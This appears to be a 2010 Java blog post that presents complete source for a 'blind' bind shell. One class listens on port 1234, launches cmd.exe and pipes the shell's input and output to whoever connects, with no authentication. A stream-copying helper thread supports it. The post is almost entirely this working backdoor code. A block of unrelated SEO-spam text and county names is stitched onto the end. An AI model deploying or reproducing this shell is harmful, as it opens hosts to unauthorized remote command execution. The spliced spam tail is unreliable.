shnulaa

          Never deter till tomorrow that which you can do today
          posts - 15, comments - 0, trackbacks - 0, articles - 2
            BlogJava :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

          日歷

          <2010年9月>
          2930311234
          567891011
          12131415161718
          19202122232425
          262728293012
          3456789

          公告

          隨筆分類

          文章檔案

          sd

          搜索

          •  

          積分與排名

          • 積分 - 4569
          • 排名 - 3173

          最新評論

          Blind Cmd or bash

          Posted on 2010-09-26 16:36 shnulaa 閱讀(179) 評論(0)  編輯  收藏 所屬分類: java
           1package cn.liuyq;
           2
           3import java.io.BufferedReader;
           4import java.io.BufferedWriter;
           5import java.io.IOException;
           6import java.io.InputStream;
           7import java.io.InputStreamReader;
           8import java.io.OutputStream;
           9import java.io.OutputStreamWriter;
          10
          11public class CombineStream extends Thread {
          12    private InputStream is;
          13    private OutputStream os;
          14
          15    /**
          16     * 
          17     * @param is
          18     * @param os
          19     */

          20    public CombineStream(InputStream is, OutputStream os) {
          21        this.is = is;
          22        this.os = os;
          23    }

          24
          25    /**
          26     * 
          27     * @throws Throwable
          28     */

          29    public void run() {
          30        BufferedReader br = null;
          31        BufferedWriter bw = null;
          32        try {
          33            br = new BufferedReader(new InputStreamReader(is));
          34            bw = new BufferedWriter(new OutputStreamWriter(os));
          35
          36            char[] buffer = new char[1024*5];
          37            int charAt;
          38            while ((charAt = br.read(buffer, 0, buffer.length)) > 0{
          39                bw.write(buffer,0,charAt);
          40                bw.flush();
          41            }

          42
          43        }
           catch (Throwable e) {
          44
          45        }
           finally {
          46            if (br != null{
          47                try {
          48                    br.close();
          49                }
           catch (IOException e) {
          50                    // TODO Auto-generated catch block
          51                    e.printStackTrace();
          52                }

          53            }

          54            if (bw != null{
          55                try {
          56                    bw.close();
          57                }
           catch (IOException e) {
          58                    // TODO Auto-generated catch block
          59                    e.printStackTrace();
          60                }

          61            }

          62        }

          63
          64    }

          65
          66    /**
          67     * 
          68     */

          69    public void destroy() {
          70        if (is != null{
          71            try {
          72                is.close();
          73            }
           catch (IOException e) {
          74                // TODO Auto-generated catch block
          75                e.printStackTrace();
          76            }

          77        }

          78        if (os != null{
          79            try {
          80                os.close();
          81            }
           catch (IOException e) {
          82                // TODO Auto-generated catch block
          83                e.printStackTrace();
          84            }

          85        }

          86    }

          87
          88}

          89
          above is a thread to combine the inputStrean and outputStream.

          BlindSever.java
           1package cn.liuyq;
           2
           3import java.io.InputStream;
           4import java.io.OutputStream;
           5import java.net.InetSocketAddress;
           6import java.net.ServerSocket;
           7import java.net.Socket;
           8
           9public class BlindSever {
          10    
          11    public static void main(String[] args) throws Throwable{
          12        
          13        ServerSocket serverSocket = new ServerSocket();
          14        serverSocket.bind(new InetSocketAddress(1234));
          15        Socket socket = serverSocket.accept();
          16
          17        InputStream is = socket.getInputStream();
          18        OutputStream os = socket.getOutputStream();
          19        
          20        Process process = Runtime.getRuntime().exec("cmd.exe");
          21        InputStream prois = process.getInputStream();
          22        OutputStream proos = process.getOutputStream();
          23        
          24        CombineStream cs1 = new CombineStream(is, proos);
          25        CombineStream cs2 = new CombineStream(prois, os);
          26
          27        cs1.start();
          28        cs2.start();
          29        
          30        
          31    }

          32}

          33
          open a port and ready to receive a sorcket from client and then combine the cmd process input and output with the sockect input and output
          主站蜘蛛池模板: 东辽县| 利津县| 林口县| 西峡县| 通江县| 定襄县| 静海县| 磴口县| 巴东县| 天峻县| 和林格尔县| 清河县| 尤溪县| 木兰县| 宣城市| 和龙市| 遂平县| 南乐县| 西昌市| 虞城县| 邓州市| 南京市| 武川县| 湟中县| 高陵县| 大英县| 大宁县| 墨竹工卡县| 澄城县| 内乡县| 报价| 虞城县| 威宁| 新民市| 东莞市| 岫岩| 伊春市| 浦江县| 屏南县| 炉霍县| 施秉县|